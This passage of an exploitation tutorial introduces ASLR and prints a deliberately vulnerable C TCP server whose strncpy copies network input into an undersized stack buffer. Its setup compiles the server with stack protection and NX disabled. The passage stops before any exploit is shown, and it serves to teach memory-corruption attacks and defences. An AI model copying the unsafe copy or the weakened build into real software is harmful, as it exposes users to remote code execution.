pHere we are going to start with the first protection I want to look at which is a href="https://en.wikipedia.org/wiki/Address_space_layout_randomization" target="_blank"address space layout randomization (ASLR)/a./p
pIn parts a href="/x86-32-linux/2014/05/08/plain-buffer-overflow/"1/a, a href="/x86-32-linux/2014/05/20/plain-format-string-vulnerability/"2/a, a href="/x86-32-linux/2014/06/12/remote-exploitation/"3/a and a href="/x86-32-linux/reverse-engineering/2014/07/01/basic-binary-auditing/"4/a ASLR had been disabled./p
pASLR basically randomizes the a href="https://en.wikipedia.org/wiki/Virtual_address_space" target="_blank"virtual address space/a of all userland applications and in more modern OSs, kernel space too./p
!-- more --
pBefore ASLR, the virtual address space of an application was completely static, meaning that everything will always be at the same memory address each time the application is run./p
pIn parts 1, 2 and 3 we've taken advantage of this by being able to predict the address that our a href="https://en.wikipedia.org/wiki/Shellcode" target="_blank"shellcode/a./p
pThis protection is slightly newer in the Linux kernel than a href="https://en.wikipedia.org/wiki/NX_bit" target="_blank"NX/a, as it was first implemented in 2005 but it will introduce us to an idea which we will use much more extensively to beat NX./p
h2The App/h2
pThe application below is almost the same as the 1 in part a href="/x86-32-linux/2014/06/12/remote-exploitation/"3/a of this series:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal" 10/span/span
span class="code-line"span class="normal" 11/span/span
span class="code-line"span class="normal" 12/span/span
span class="code-line"span class="normal" 13/span/span
span class="code-line"span class="normal" 14/span/span
span class="code-line"span class="normal" 15/span/span
span class="code-line"span class="normal" 16/span/span
span class="code-line"span class="normal" 17/span/span
span class="code-line"span class="normal" 18/span/span
span class="code-line"span class="normal" 19/span/span
span class="code-line"span class="normal" 20/span/span
span class="code-line"span class="normal" 21/span/span
span class="code-line"span class="normal" 22/span/span
span class="code-line"span class="normal" 23/span/span
span class="code-line"span class="normal" 24/span/span
span class="code-line"span class="normal" 25/span/span
span class="code-line"span class="normal" 26/span/span
span class="code-line"span class="normal" 27/span/span
span class="code-line"span class="normal" 28/span/span
span class="code-line"span class="normal" 29/span/span
span class="code-line"span class="normal" 30/span/span
span class="code-line"span class="normal" 31/span/span
span class="code-line"span class="normal" 32/span/span
span class="code-line"span class="normal" 33/span/span
span class="code-line"span class="normal" 34/span/span
span class="code-line"span class="normal" 35/span/span
span class="code-line"span class="normal" 36/span/span
span class="code-line"span class="normal" 37/span/span
span class="code-line"span class="normal" 38/span/span
span class="code-line"span class="normal" 39/span/span
span class="code-line"span class="normal" 40/span/span
span class="code-line"span class="normal" 41/span/span
span class="code-line"span class="normal" 42/span/span
span class="code-line"span class="normal" 43/span/span
span class="code-line"span class="normal" 44/span/span
span class="code-line"span class="normal" 45/span/span
span class="code-line"span class="normal" 46/span/span
span class="code-line"span class="normal" 47/span/span
span class="code-line"span class="normal" 48/span/span
span class="code-line"span class="normal" 49/span/span
span class="code-line"span class="normal" 50/span/span
span class="code-line"span class="normal" 51/span/span
span class="code-line"span class="normal" 52/span/span
span class="code-line"span class="normal" 53/span/span
span class="code-line"span class="normal" 54/span/span
span class="code-line"span class="normal" 55/span/span
span class="code-line"span class="normal" 56/span/span
span class="code-line"span class="normal" 57/span/span
span class="code-line"span class="normal" 58/span/span
span class="code-line"span class="normal" 59/span/span
span class="code-line"span class="normal" 60/span/span
span class="code-line"span class="normal" 61/span/span
span class="code-line"span class="normal" 62/span/span
span class="code-line"span class="normal" 63/span/span
span class="code-line"span class="normal" 64/span/span
span class="code-line"span class="normal" 65/span/span
span class="code-line"span class="normal" 66/span/span
span class="code-line"span class="normal" 67/span/span
span class="code-line"span class="normal" 68/span/span
span class="code-line"span class="normal" 69/span/span
span class="code-line"span class="normal" 70/span/span
span class="code-line"span class="normal" 71/span/span
span class="code-line"span class="normal" 72/span/span
span class="code-line"span class="normal" 73/span/span
span class="code-line"span class="normal" 74/span/span
span class="code-line"span class="normal" 75/span/span
span class="code-line"span class="normal" 76/span/span
span class="code-line"span class="normal" 77/span/span
span class="code-line"span class="normal" 78/span/span
span class="code-line"span class="normal" 79/span/span
span class="code-line"span class="normal" 80/span/span
span class="code-line"span class="normal" 81/span/span
span class="code-line"span class="normal" 82/span/span
span class="code-line"span class="normal" 83/span/span
span class="code-line"span class="normal" 84/span/span
span class="code-line"span class="normal" 85/span/span
span class="code-line"span class="normal" 86/span/span
span class="code-line"span class="normal" 87/span/span
span class="code-line"span class="normal" 88/span/span
span class="code-line"span class="normal" 89/span/span
span class="code-line"span class="normal" 90/span/span
span class="code-line"span class="normal" 91/span/span
span class="code-line"span class="normal" 92/span/span
span class="code-line"span class="normal" 93/span/span
span class="code-line"span class="normal" 94/span/span
span class="code-line"span class="normal" 95/span/span
span class="code-line"span class="normal" 96/span/span
span class="code-line"span class="normal" 97/span/span
span class="code-line"span class="normal" 98/span/span
span class="code-line"span class="normal" 99/span/span
span class="code-line"span class="normal"100/span/span
span class="code-line"span class="normal"101/span/span
span class="code-line"span class="normal"102/span/span
span class="code-line"span class="normal"103/span/span
span class="code-line"span class="normal"104/span/span
span class="code-line"span class="normal"105/span/span
span class="code-line"span class="normal"106/span/span
span class="code-line"span class="normal"107/span/span
span class="code-line"span class="normal"108/span/span
span class="code-line"span class="normal"109/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="cp"#include/spanspan class="w" /spanspan class="cpf"lt;sys/socket.hgt;/spanspan class="cp"/span/span
span class="code-line"span class="cp"#include/spanspan class="w" /spanspan class="cpf"lt;netinet/in.hgt;/spanspan class="cp"/span/span
span class="code-line"span class="cp"#include/spanspan class="w" /spanspan class="cpf"lt;stdio.hgt;/spanspan class="cp"/span/span
span class="code-line"span class="cp"#include/spanspan class="w" /spanspan class="cpf"lt;strings.hgt;/spanspan class="cp"/span/span
span class="code-line"span class="cp"#include/spanspan class="w" /spanspan class="cpf"lt;stdlib.hgt;/spanspan class="cp"/span/span
span class="code-line"span class="cp"#include/spanspan class="w" /spanspan class="cpf"lt;string.hgt;/spanspan class="cp"/span/span
span class="code-line"/span
span class="code-line"span class="cp"#define PASS quot;topsecretpasswordquot;/span/span
span class="code-line"span class="cp"#define CNUM 58623/span/span
span class="code-line"span class="cp"#define SFILE quot;secret.txtquot;/span/span
span class="code-line"span class="cp"#define TFILE quot;tokenquot;/span/span
span class="code-line"span class="cp"#define PORT 9999/span/span
span class="code-line"/span
span class="code-line"span class="kt"void/spanspan class="w" /spanspan class="nf"sendfile/spanspan class="p"(/spanspan class="kt"int/spanspan class="w" /spanspan class="n"connfd/spanspan class="p",/spanspan class="w" /spanspan class="k"struct/span span class="nc"sockaddr_in/spanspan class="w" /spanspan class="n"cliaddr/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="kt"void/spanspan class="w" /spanspan class="nf"senderror/spanspan class="p"(/spanspan class="kt"int/spanspan class="w" /spanspan class="n"connfd/spanspan class="p",/spanspan class="w" /spanspan class="k"struct/span span class="nc"sockaddr_in/spanspan class="w" /spanspan class="n"cliaddr/spanspan class="p",/spanspan class="w" /spanspan class="kt"char/spanspan class="w" /spanspan class="n"p/spanspan class="p"[]);/spanspan class="w"/span/span
span class="code-line"span class="kt"void/spanspan class="w" /spanspan class="nf"sendtoken/spanspan class="p"(/spanspan class="kt"int/spanspan class="w" /spanspan class="n"connfd/spanspan class="p",/spanspan class="w" /spanspan class="k"struct/span span class="nc"sockaddr_in/spanspan class="w" /spanspan class="n"cliaddr/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="kt"int/spanspan class="w" /spanspan class="nf"checkpass/spanspan class="p"(/spanspan class="kt"char/spanspan class="w" /spanspan class="o"*/spanspan class="n"p/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"/span
span class="code-line"span class="kt"void/spanspan class="w" /spanspan class="nf"main/spanspan class="p"()/spanspan class="w"/span/span
span class="code-line"span class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="kt"int/spanspan class="w" /spanspan class="n"listenfd/spanspan class="p",/spanspan class="w" /spanspan class="n"connfd/spanspan class="p",/spanspan class="w" /spanspan class="n"n/spanspan class="p",/spanspan class="w" /spanspan class="n"c/spanspan class="p",/spanspan class="w" /spanspan class="n"r/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"struct/span span class="nc"sockaddr_in/spanspan class="w" /spanspan class="n"servaddr/spanspan class="p",/spanspan class="w" /spanspan class="n"cliaddr/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="kt"socklen_t/spanspan class="w" /spanspan class="n"clilen/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="kt"pid_t/spanspan class="w" /spanspan class="n"childpid/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="kt"char/spanspan class="w" /spanspan class="n"pwd/spanspan class="p"[/spanspan class="mi"1000/spanspan class="p"];/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="w" /spanspan class="n"listenfd/spanspan class="o"=/spanspan class="n"socket/spanspan class="p"(/spanspan class="n"AF_INET/spanspan class="p",/spanspan class="n"SOCK_STREAM/spanspan class="p",/spanspan class="mi"0/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="w" /spanspan class="n"bzero/spanspan class="p"(/spanspan class="o"amp;/spanspan class="n"servaddr/spanspan class="p",/spanspan class="k"sizeof/spanspan class="p"(/spanspan class="n"servaddr/spanspan class="p"));/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"servaddr/spanspan class="p"./spanspan class="n"sin_family/spanspan class="w" /spanspan class="o"=/spanspan class="w" /spanspan class="n"AF_INET/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"servaddr/spanspan class="p"./spanspan class="n"sin_addr/spanspan class="p"./spanspan class="n"s_addr/spanspan class="o"=/spanspan class="n"htonl/spanspan class="p"(/spanspan class="n"INADDR_ANY/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"servaddr/spanspan class="p"./spanspan class="n"sin_port/spanspan class="o"=/spanspan class="n"htons/spanspan class="p"(/spanspan class="n"PORT/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"if/spanspan class="w" /spanspan class="p"((/spanspan class="n"r/spanspan class="w" /spanspan class="o"=/spanspan class="w" /spanspan class="n"bind/spanspan class="p"(/spanspan class="n"listenfd/spanspan class="p",(/spanspan class="k"struct/span span class="nc"sockaddr/spanspan class="w" /spanspan class="o"*/spanspan class="p")/spanspan class="o"amp;/spanspan class="n"servaddr/spanspan class="p",/spanspan class="k"sizeof/spanspan class="p"(/spanspan class="n"servaddr/spanspan class="p")))/spanspan class="w" /spanspan class="o"!=/spanspan class="w" /spanspan class="mi"0/spanspan class="p")/spanspan class="w" /spanspan class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printf/spanspan class="p"(/spanspan class="s"quot;Error: Unable to bind to port %d/spanspan class="se"\n/spanspan class="s"quot;/spanspan class="p",/spanspan class="w" /spanspan class="n"PORT/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"exit/spanspan class="p"(/spanspan class="mi"1/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="p"}/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="w" /spanspan class="n"listen/spanspan class="p"(/spanspan class="n"listenfd/spanspan class="p",/spanspan class="mi"1024/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="w" /spanspan class="k"for/spanspan class="p"(;;)/spanspan class="w" /spanspan class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"clilen/spanspan class="o"=/spanspan class="k"sizeof/spanspan class="p"(/spanspan class="n"cliaddr/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"connfd/spanspan class="w" /spanspan class="o"=/spanspan class="w" /spanspan class="n"accept/spanspan class="p"(/spanspan class="n"listenfd/spanspan class="p",(/spanspan class="k"struct/span span class="nc"sockaddr/spanspan class="w" /spanspan class="o"*/spanspan class="p")/spanspan class="o"amp;/spanspan class="n"cliaddr/spanspan class="p",/spanspan class="o"amp;/spanspan class="n"clilen/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="w" /spanspan class="n"n/spanspan class="w" /spanspan class="o"=/spanspan class="w" /spanspan class="n"recvfrom/spanspan class="p"(/spanspan class="n"connfd/spanspan class="p",/spanspan class="w" /spanspan class="n"pwd/spanspan class="p",/spanspan class="w" /spanspan class="mi"1000/spanspan class="p",/spanspan class="w" /spanspan class="mi"0/spanspan class="p",/spanspan class="w" /spanspan class="p"(/spanspan class="k"struct/span span class="nc"sockaddr/spanspan class="w" /spanspan class="o"*/spanspan class="p")/spanspan class="o"amp;/spanspan class="n"cliaddr/spanspan class="p",/spanspan class="w" /spanspan class="o"amp;/spanspan class="n"clilen/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"pwd/spanspan class="p"[/spanspan class="n"n/spanspan class="p"]/spanspan class="w" /spanspan class="o"=/spanspan class="w" /spanspan class="sc"#39;\0#39;/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"r/spanspan class="w" /spanspan class="o"=/spanspan class="w" /spanspan class="n"checkpass/spanspan class="p"(/spanspan class="n"pwd/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"if/spanspan class="w" /spanspan class="p"(/spanspan class="n"r/spanspan class="w" /spanspan class="o"!=/spanspan class="w" /spanspan class="mi"0/spanspan class="p")/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"if/spanspan class="w" /spanspan class="p"(/spanspan class="n"r/spanspan class="w" /spanspan class="o"!=/spanspan class="w" /spanspan class="mi"5/spanspan class="p")/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"senderror/spanspan class="p"(/spanspan class="n"connfd/spanspan class="p",/spanspan class="w" /spanspan class="n"cliaddr/spanspan class="p",/spanspan class="w" /spanspan class="n"pwd/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"else/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"sendtoken/spanspan class="p"(/spanspan class="n"connfd/spanspan class="p",/spanspan class="w" /spanspan class="n"cliaddr/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"else/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"sendfile/spanspan class="p"(/spanspan class="n"connfd/spanspan class="p",/spanspan class="w" /spanspan class="n"cliaddr/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printf/spanspan class="p"(/spanspan class="s"quot;Received the following:/spanspan class="se"\n/spanspan class="s"quot;/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printf/spanspan class="p"(/spanspan class="s"quot;%squot;/spanspan class="p",/spanspan class="w" /spanspan class="n"pwd/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="w" /spanspan class="n"close/spanspan class="p"(/spanspan class="n"connfd/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="p"}/spanspan class="w"/span/span
span class="code-line"span class="p"}/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="kt"void/spanspan class="w" /spanspan class="nf"sendfile/spanspan class="p"(/spanspan class="kt"int/spanspan class="w" /spanspan class="n"connfd/spanspan class="p",/spanspan class="w" /spanspan class="k"struct/span span class="nc"sockaddr_in/spanspan class="w" /spanspan class="n"cliaddr/spanspan class="p")/spanspan class="w"/span/span
span class="code-line"span class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="kt"FILE/spanspan class="w" /spanspan class="o"*/spanspan class="n"f/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="kt"int/spanspan class="w" /spanspan class="n"c/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"f/spanspan class="w" /spanspan class="o"=/spanspan class="w" /spanspan class="n"fopen/spanspan class="p"(/spanspan class="n"SFILE/spanspan class="p",/spanspan class="w" /spanspan class="s"quot;rquot;/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"if/spanspan class="w" /spanspan class="p"(/spanspan class="n"f/spanspan class="p")/spanspan class="w" /spanspan class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"while/spanspan class="w" /spanspan class="p"((/spanspan class="n"c/spanspan class="w" /spanspan class="o"=/spanspan class="w" /spanspan class="n"getc/spanspan class="p"(/spanspan class="n"f/spanspan class="p"))/spanspan class="w" /spanspan class="o"!=/spanspan class="w" /spanspan class="n"EOF/spanspan class="p")/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"sendto/spanspan class="p"(/spanspan class="n"connfd/spanspan class="p",/spanspan class="w" /spanspan class="o"amp;/spanspan class="n"c/spanspan class="p",/spanspan class="w" /spanspan class="mi"1/spanspan class="p",/spanspan class="w" /spanspan class="mi"0/spanspan class="p",/spanspan class="w" /spanspan class="p"(/spanspan class="k"struct/span span class="nc"sockaddr/spanspan class="w" /spanspan class="o"*/spanspan class="p")/spanspan class="o"amp;/spanspan class="n"cliaddr/spanspan class="p",/spanspan class="k"sizeof/spanspan class="p"(/spanspan class="n"cliaddr/spanspan class="p"));/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"fclose/spanspan class="p"(/spanspan class="n"f/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="p"}/spanspan class="w" /spanspan class="k"else/spanspan class="w" /spanspan class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printf/spanspan class="p"(/spanspan class="s"quot;Error opening file: quot;/spanspan class="w" /spanspan class="n"SFILE/spanspan class="w" /spanspan class="s"quot;/spanspan class="se"\n/spanspan class="s"quot;/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"exit/spanspan class="p"(/spanspan class="mi"1/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="p"}/spanspan class="w"/span/span
span class="code-line"span class="p"}/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="kt"void/spanspan class="w" /spanspan class="nf"senderror/spanspan class="p"(/spanspan class="kt"int/spanspan class="w" /spanspan class="n"connfd/spanspan class="p",/spanspan class="w" /spanspan class="k"struct/span span class="nc"sockaddr_in/spanspan class="w" /spanspan class="n"cliaddr/spanspan class="p",/spanspan class="w" /spanspan class="kt"char/spanspan class="w" /spanspan class="n"p/spanspan class="p"[])/spanspan class="w"/span/span
span class="code-line"span class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"sendto/spanspan class="p"(/spanspan class="n"connfd/spanspan class="p",/spanspan class="w" /spanspan class="s"quot;Wrong password: quot;/spanspan class="p",/spanspan class="w" /spanspan class="mi"16/spanspan class="w" /spanspan class="p",/spanspan class="w" /spanspan class="mi"0/spanspan class="p",/spanspan class="w" /spanspan class="p"(/spanspan class="k"struct/span span class="nc"sockaddr/spanspan class="w" /spanspan class="o"*/spanspan class="p")/spanspan class="o"amp;/spanspan class="n"cliaddr/spanspan class="p",/spanspan class="k"sizeof/spanspan class="p"(/spanspan class="n"cliaddr/spanspan class="p"));/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"sendto/spanspan class="p"(/spanspan class="n"connfd/spanspan class="p",/spanspan class="w" /spanspan class="n"p/spanspan class="p",/spanspan class="w" /spanspan class="n"strlen/spanspan class="p"(/spanspan class="n"p/spanspan class="p"),/spanspan class="w" /spanspan class="mi"0/spanspan class="p",/spanspan class="w" /spanspan class="p"(/spanspan class="k"struct/span span class="nc"sockaddr/spanspan class="w" /spanspan class="o"*/spanspan class="p")/spanspan class="o"amp;/spanspan class="n"cliaddr/spanspan class="p",/spanspan class="k"sizeof/spanspan class="p"(/spanspan class="n"cliaddr/spanspan class="p"));/spanspan class="w"/span/span
span class="code-line"span class="p"}/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="kt"void/spanspan class="w" /spanspan class="nf"sendtoken/spanspan class="p"(/spanspan class="kt"int/spanspan class="w" /spanspan class="n"connfd/spanspan class="p",/spanspan class="w" /spanspan class="k"struct/span span class="nc"sockaddr_in/spanspan class="w" /spanspan class="n"cliaddr/spanspan class="p")/spanspan class="w"/span/span
span class="code-line"span class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="kt"FILE/spanspan class="w" /spanspan class="o"*/spanspan class="n"f/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="kt"int/spanspan class="w" /spanspan class="n"c/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"f/spanspan class="w" /spanspan class="o"=/spanspan class="w" /spanspan class="n"fopen/spanspan class="p"(/spanspan class="n"TFILE/spanspan class="p",/spanspan class="w" /spanspan class="s"quot;rquot;/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"if/spanspan class="w" /spanspan class="p"(/spanspan class="n"f/spanspan class="p")/spanspan class="w" /spanspan class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"while/spanspan class="w" /spanspan class="p"((/spanspan class="n"c/spanspan class="w" /spanspan class="o"=/spanspan class="w" /spanspan class="n"getc/spanspan class="p"(/spanspan class="n"f/spanspan class="p"))/spanspan class="w" /spanspan class="o"!=/spanspan class="w" /spanspan class="n"EOF/spanspan class="p")/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"sendto/spanspan class="p"(/spanspan class="n"connfd/spanspan class="p",/spanspan class="w" /spanspan class="o"amp;/spanspan class="n"c/spanspan class="p",/spanspan class="w" /spanspan class="mi"1/spanspan class="p",/spanspan class="w" /spanspan class="mi"0/spanspan class="p",/spanspan class="w" /spanspan class="p"(/spanspan class="k"struct/span span class="nc"sockaddr/spanspan class="w" /spanspan class="o"*/spanspan class="p")/spanspan class="o"amp;/spanspan class="n"cliaddr/spanspan class="p",/spanspan class="k"sizeof/spanspan class="p"(/spanspan class="n"cliaddr/spanspan class="p"));/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"fclose/spanspan class="p"(/spanspan class="n"f/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="p"}/spanspan class="w" /spanspan class="k"else/spanspan class="w" /spanspan class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printf/spanspan class="p"(/spanspan class="s"quot;Error opening file: quot;/spanspan class="w" /spanspan class="n"TFILE/spanspan class="w" /spanspan class="s"quot;/spanspan class="se"\n/spanspan class="s"quot;/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"exit/spanspan class="p"(/spanspan class="mi"1/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="p"}/spanspan class="w"/span/span
span class="code-line"span class="p"}/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="kt"int/spanspan class="w" /spanspan class="nf"checkpass/spanspan class="p"(/spanspan class="kt"char/spanspan class="w" /spanspan class="o"*/spanspan class="n"a/spanspan class="p")/spanspan class="w"/span/span
span class="code-line"span class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="kt"char/spanspan class="w" /spanspan class="n"p/spanspan class="p"[/spanspan class="mi"512/spanspan class="p"];/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="kt"int/spanspan class="w" /spanspan class="n"r/spanspan class="p",/spanspan class="w" /spanspan class="n"i/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"strncpy/spanspan class="p"(/spanspan class="n"p/spanspan class="p",/spanspan class="w" /spanspan class="n"a/spanspan class="p",/spanspan class="w" /spanspan class="n"strlen/spanspan class="p"(/spanspan class="n"a/spanspan class="p")/spanspan class="o"+/spanspan class="mi"1/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"i/spanspan class="w" /spanspan class="o"=/spanspan class="w" /spanspan class="n"atoi/spanspan class="p"(/spanspan class="n"p/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"if/spanspan class="w" /spanspan class="p"(/spanspan class="n"i/spanspan class="w" /spanspan class="o"==/spanspan class="w" /spanspan class="n"CNUM/spanspan class="p")/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"r/spanspan class="w" /spanspan class="o"=/spanspan class="w" /spanspan class="mi"5/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"else/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"r/spanspan class="w" /spanspan class="o"=/spanspan class="w" /spanspan class="n"strcmp/spanspan class="p"(/spanspan class="n"p/spanspan class="p",/spanspan class="w" /spanspan class="n"PASS/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"return/spanspan class="w" /spanspan class="n"r/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"span class="p"}/spanspan class="w"/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThe main difference here is that the input is converted to a number and if that number is equal to code58623/code, the contents of a different file (codetoken/code) is sent to the client./p
h3The Fix/h3
pThe fix is the same as in part 3. The vulnerable code is the call to strncpy on line 102./p
h2Setting Up The Environment/h2
pThe environment is going to be exactly the same as in part 3, except we have a new file and ASLR will be enabled./p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/span
span class="code-line"span class="normal"22/span/span
span class="code-line"span class="normal"23/span/span
span class="code-line"span class="normal"24/span/span
span class="code-line"span class="normal"25/span/span
span class="code-line"span class="normal"26/span/span
span class="code-line"span class="normal"27/span/span
span class="code-line"span class="normal"28/span/span
span class="code-line"span class="normal"29/span/span
span class="code-line"span class="normal"30/span/span
span class="code-line"span class="normal"31/span/span
span class="code-line"span class="normal"32/span/span
span class="code-line"span class="normal"33/span/span
span class="code-line"span class="normal"34/span/span
span class="code-line"span class="normal"35/span/span
span class="code-line"span class="normal"36/span/span
span class="code-line"span class="normal"37/span/span
span class="code-line"span class="normal"38/span/span
span class="code-line"span class="normal"39/span/span
span class="code-line"span class="normal"40/span/span
span class="code-line"span class="normal"41/span/span
span class="code-line"span class="normal"42/span/span
span class="code-line"span class="normal"43/span/span
span class="code-line"span class="normal"44/span/span
span class="code-line"span class="normal"45/span/span
span class="code-line"span class="normal"46/span/span
span class="code-line"span class="normal"47/span/span
span class="code-line"span class="normal"48/span/span
span class="code-line"span class="normal"49/span/span
span class="code-line"span class="normal"50/span/span
span class="code-line"span class="normal"51/span/span
span class="code-line"span class="normal"52/span/span
span class="code-line"span class="normal"53/span/span
span class="code-line"span class="normal"54/span/span
span class="code-line"span class="normal"55/span/span
span class="code-line"span class="normal"56/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"
[email protected]:~# /spanadduser appuser/span
span class="code-line"span class="go"Adding user `appuser#39; .../span/span
span class="code-line"span class="go"Adding new group `appuser#39; (1002) .../span/span
span class="code-line"span class="go"Adding new user `appuser#39; (1002) with group `appuser#39; .../span/span
span class="code-line"span class="go"Creating home directory `/home/appuser#39; .../span/span
span class="code-line"span class="go"Copying files from `/etc/skel#39; .../span/span
span class="code-line"span class="go"Enter new UNIX password: /span/span
span class="code-line"span class="go"Retype new UNIX password: /span/span
span class="code-line"span class="go"passwd: password updated successfully/span/span
span class="code-line"span class="go"Changing the user information for testuser/span/span
span class="code-line"span class="go"Enter the new value, or press ENTER for the default/span/span
span class="code-line"span class="go" Full Name []: /span/span
span class="code-line"span class="go" Room Number []: /span/span
span class="code-line"span class="go" Work Phone []: /span/span
span class="code-line"span class="go" Home Phone []: /span/span
span class="code-line"span class="go" Other []: /span/span
span class="code-line"span class="go"Is the information correct? [Y/n]/span/span
span class="code-line"span class="gp"
[email protected]:~# /spanls/span
span class="code-line"span class="go"app-net.c/span/span
span class="code-line"span class="gp"
[email protected]:~# /spangcc -z execstack -fno-stack-protector -o app-net app-net.c/span
span class="code-line"span class="gp"
[email protected]:~# /spancp app-net /home/appuser//span
span class="code-line"span class="gp"
[email protected]:~# /spancat /proc/sys/kernel/randomize_va_space/span
span class="code-line"span class="go"2/span/span
span class="code-line"span class="gp"
